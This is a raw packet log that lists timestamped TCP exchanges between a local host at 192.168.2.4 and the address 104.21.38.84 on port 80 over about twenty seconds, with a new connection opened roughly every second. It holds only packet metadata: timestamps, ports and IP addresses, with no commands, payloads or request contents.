Jan 1, 2025 15:17:59.529750109 CET	49836	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.534856081 CET	80	49823	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.534868956 CET	80	49836	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.535028934 CET	49823	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.535068989 CET	49836	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.535207987 CET	49836	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.535274029 CET	80	49829	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.535284996 CET	80	49830	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.535326958 CET	49829	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.535335064 CET	49830	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:59.539979935 CET	80	49836	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:59.889956951 CET	49836	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:00.035650969 CET	80	49836	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:00.035772085 CET	80	49836	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:00.077255011 CET	49836	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:00.376312017 CET	80	49836	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:00.421005011 CET	49836	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:00.494967937 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:00.500190020 CET	80	49842	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:00.500375032 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:00.500502110 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:00.505414963 CET	80	49842	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:00.861392975 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:00.866261959 CET	80	49842	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:00.964075089 CET	80	49842	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.014744997 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.143734932 CET	80	49842	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.186609030 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.262362957 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.263093948 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.267455101 CET	80	49842	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.267508984 CET	49842	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.267905951 CET	80	49850	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.267965078 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.268070936 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.272804976 CET	80	49850	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.624226093 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.629057884 CET	80	49850	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.713726997 CET	80	49850	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.764790058 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.878161907 CET	80	49850	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:01.936618090 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.993941069 CET	49836	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.995390892 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:01.996161938 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.000330925 CET	80	49850	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.000916958 CET	80	49855	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.001081944 CET	49850	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.001111984 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.001245975 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.006377935 CET	80	49855	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.358549118 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.363353968 CET	80	49855	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.450321913 CET	80	49855	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.499104977 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.621637106 CET	80	49855	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.670989990 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.744808912 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.745460033 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.749840975 CET	80	49855	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.750334024 CET	80	49860	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:02.750420094 CET	49855	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.750463009 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.750567913 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:02.755316019 CET	80	49860	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:03.108602047 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.113497019 CET	80	49860	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:03.194298029 CET	80	49860	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:03.249118090 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.449209929 CET	80	49860	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:03.499123096 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.572793961 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.573441029 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.577847004 CET	80	49860	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:03.577900887 CET	49860	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.578191042 CET	80	49869	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:03.578257084 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.578386068 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.583122015 CET	80	49869	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:03.936765909 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:03.941571951 CET	80	49869	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.040220976 CET	80	49869	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.092859030 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.203654051 CET	80	49869	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.219784021 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.224591970 CET	80	49872	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.224656105 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.229466915 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.234220982 CET	80	49872	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.249094963 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.322834015 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.327651024 CET	80	49877	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.327858925 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.327939987 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.332742929 CET	80	49877	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.577291012 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.582109928 CET	80	49872	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.582648993 CET	80	49872	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.680018902 CET	80	49872	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.686642885 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.691498995 CET	80	49877	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.733504057 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.781266928 CET	80	49877	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.827239990 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:04.934959888 CET	80	49872	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:04.983469963 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.027193069 CET	80	49877	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.077241898 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.154397964 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.154402971 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.154484034 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.155145884 CET	49883	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.159354925 CET	80	49869	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.159400940 CET	49869	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.159885883 CET	80	49872	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.159950972 CET	49872	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.159953117 CET	80	49877	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.159964085 CET	80	49883	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.159991026 CET	49877	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.160033941 CET	49883	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.160154104 CET	49883	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.164958954 CET	80	49883	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.514910936 CET	49883	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.519733906 CET	80	49883	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.618895054 CET	80	49883	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.670958042 CET	49883	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.792459011 CET	80	49883	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.842843056 CET	49883	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.935205936 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.940018892 CET	80	49889	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:05.943794966 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.944020987 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:05.948801041 CET	80	49889	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:06.296281099 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.301143885 CET	80	49889	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:06.388129950 CET	80	49889	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:06.436614037 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.648694992 CET	80	49889	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:06.702230930 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.760401011 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.761081934 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.765378952 CET	80	49889	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:06.765455008 CET	49889	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.765924931 CET	80	49895	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:06.765986919 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.766088009 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:06.770899057 CET	80	49895	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.124145985 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.129010916 CET	80	49895	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.219237089 CET	80	49895	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.264702082 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.397692919 CET	80	49895	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.452205896 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.510751009 CET	49883	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.510940075 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.511571884 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.516362906 CET	80	49901	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.516386986 CET	80	49895	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.516443014 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.516463995 CET	49895	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.516603947 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.521409035 CET	80	49901	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.874212980 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:07.879087925 CET	80	49901	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:07.960591078 CET	80	49901	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:08.014703035 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.220097065 CET	80	49901	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:08.264712095 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.338900089 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.339385033 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.344284058 CET	80	49907	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:08.344331980 CET	80	49901	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:08.344352007 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.344387054 CET	49901	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.344916105 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.349669933 CET	80	49907	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:08.702280998 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:08.707192898 CET	80	49907	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:08.808796883 CET	80	49907	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:08.858527899 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.064416885 CET	80	49907	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.108472109 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.192363977 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.193589926 CET	49913	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.197324038 CET	80	49907	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.197535038 CET	49907	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.198369980 CET	80	49913	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.198443890 CET	49913	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.198595047 CET	49913	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.203330040 CET	80	49913	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.548757076 CET	49913	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.553630114 CET	80	49913	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.641432047 CET	80	49913	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.691099882 CET	49913	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.898335934 CET	80	49913	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.937802076 CET	49913	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.938116074 CET	49919	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.942938089 CET	80	49919	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.943079948 CET	80	49913	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:09.943155050 CET	49913	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.943166971 CET	49919	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.943418026 CET	49919	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:09.948215008 CET	80	49919	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.025022030 CET	49919	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.025698900 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.030514002 CET	80	49920	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.031824112 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.031897068 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.036727905 CET	80	49920	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.071125984 CET	80	49919	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.306034088 CET	80	49919	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.306085110 CET	49919	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.389755964 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.394520044 CET	80	49920	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.475066900 CET	80	49920	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.530328989 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.746440887 CET	80	49920	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.796078920 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.870307922 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.871253014 CET	49926	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.875344038 CET	80	49920	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.875411987 CET	49920	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.876149893 CET	80	49926	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:10.876223087 CET	49926	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.876302958 CET	49926	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:10.881016016 CET	80	49926	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:11.233592033 CET	49926	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:11.238451958 CET	80	49926	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:11.329854012 CET	80	49926	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:11.374202013 CET	49926	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:11.592708111 CET	80	49926	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:11.639684916 CET	49926	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:11.714257002 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:11.719054937 CET	80	49932	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:11.719116926 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:11.719240904 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:11.723987103 CET	80	49932	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:12.077275038 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.082102060 CET	80	49932	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:12.165422916 CET	80	49932	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:12.217854023 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.435277939 CET	80	49932	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:12.483438969 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.566253901 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.567970991 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.571300030 CET	80	49932	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:12.571363926 CET	49932	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.572865009 CET	80	49938	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:12.572966099 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.575587988 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.580425978 CET	80	49938	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:12.921000957 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:12.925884008 CET	80	49938	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.069581985 CET	80	49938	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.124053001 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.242558956 CET	80	49938	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.295929909 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.369409084 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.370197058 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.374403000 CET	80	49938	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.374458075 CET	49938	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.374969006 CET	80	49944	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.375030994 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.375128984 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.379889965 CET	80	49944	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.733608007 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.738396883 CET	80	49944	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.818454981 CET	80	49944	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:13.874063015 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:13.990277052 CET	80	49944	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:14.046056032 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.100723982 CET	49926	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.104688883 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.105346918 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.109721899 CET	80	49944	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:14.110117912 CET	80	49950	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:14.110194921 CET	49944	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.110241890 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.110357046 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.115142107 CET	80	49950	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:14.467888117 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.472742081 CET	80	49950	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:14.567936897 CET	80	49950	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:14.624047041 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:14.833399057 CET	80	49950	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:14.889689922 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.039195061 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.039690018 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.049350977 CET	80	49956	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.049463034 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.049668074 CET	80	49950	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.049774885 CET	49950	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.051687002 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.056549072 CET	80	49956	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.134089947 CET	49957	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.138866901 CET	80	49957	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.141484022 CET	49957	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.144210100 CET	49957	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.149002075 CET	80	49957	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.405469894 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.410247087 CET	80	49956	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.410393953 CET	80	49956	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.499113083 CET	49957	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.503941059 CET	80	49957	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.509732962 CET	80	49956	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.561530113 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.599072933 CET	80	49957	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.639691114 CET	49957	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.759119987 CET	80	49956	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.759799004 CET	49957	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.764849901 CET	80	49957	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.764889002 CET	49957	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.811527014 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.884048939 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.884691000 CET	49963	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.889215946 CET	80	49956	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.889281988 CET	49956	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.889491081 CET	80	49963	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:15.889559031 CET	49963	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.889641047 CET	49963	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:15.894429922 CET	80	49963	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:16.249090910 CET	49963	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:16.253921032 CET	80	49963	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:16.358220100 CET	80	49963	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:16.405289888 CET	49963	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:16.621393919 CET	80	49963	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:16.670928955 CET	49963	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:16.744611979 CET	49963	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:16.745421886 CET	49970	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:16.750221014 CET	80	49970	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:16.750294924 CET	49970	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:16.750377893 CET	49970	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:16.755115986 CET	80	49970	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:17.108611107 CET	49970	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.113471031 CET	80	49970	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:17.198178053 CET	80	49970	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:17.249034882 CET	49970	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.466197014 CET	80	49970	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:17.514658928 CET	49970	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.587070942 CET	49970	80	192.168.2.4	104.21.38.84
